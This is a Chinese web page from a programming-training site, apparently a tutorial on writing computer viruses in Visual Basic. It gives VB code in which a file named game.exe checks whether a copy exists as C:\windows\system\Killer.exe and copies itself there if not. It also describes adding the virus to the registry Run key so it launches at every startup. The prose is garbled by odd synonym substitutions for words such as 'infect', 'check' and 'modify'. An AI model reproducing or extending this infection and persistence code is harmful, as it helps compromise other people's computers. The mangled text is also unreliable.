软件开发培训班 >> 编程开发 >> VB


了解Visual Basic编写病毒的大体方法

　　相信电脑界的每个人都痛恨计算机病毒，她给我们带来了众多麻烦和损失，可你晓得编写病毒的 步骤和过程吗？在此我仅以VB编写为例，揭开她的面纱 。

　　用VB编写病毒需求考量到如下几点：

　　 感化主机

　　首先染毒文件运行后先要推断主机是不是以 感化病毒，也便是推断病毒主体文件是不是存在，假如不存在则将病毒主体拷贝到指定位置(如：

　　将病毒文件拷贝到c:\windows\system\)，可用filecopy语句实现；假如病毒已 感化主机则 完毕推断 。

　　例如，推断C:\windows\system\Killer.exe是不是存在，假如有则退出推断，假如没有则 证实本机未 感化病毒，马上拷入病毒文件 。

　　病毒源文件名为game.exe 。

　　申明 部分： 

""定义 FileExists% 函数 
public success% 
Function FileExists%(fname$) 
On Local Error Resume Next 
Dim ff% 
ff% = FreeFile 
Open fname$ For Input As ff% 
If Err Then 
FileExists% = False 
Else 
FileExists% = True 
End If 
Close ff% 
End Function

　　代码 部分： 

""推断文件是不是存在 
success% = FileExists%("C:\windows\system\Killer.exe") 
If success% = False Then ""病毒不存在则拷贝病毒到计算机 
FileCopy "game.exe", "C:\windows\system\Killer.exe" 
... ""
批改注册表，将其加入RUN中 。(省略若干代码) 
End If

　　开机启动病毒

　　在病毒 感化主机的同时，将 本身加入注册表的开机运行中，这与向主机拷入病毒是同时进行的，主机 感化后不再 批改注册表 。可通过编程

　　和调用API函数对WIN注册表进行操作来实现，这样在每次启动计算机时病毒自动启动 。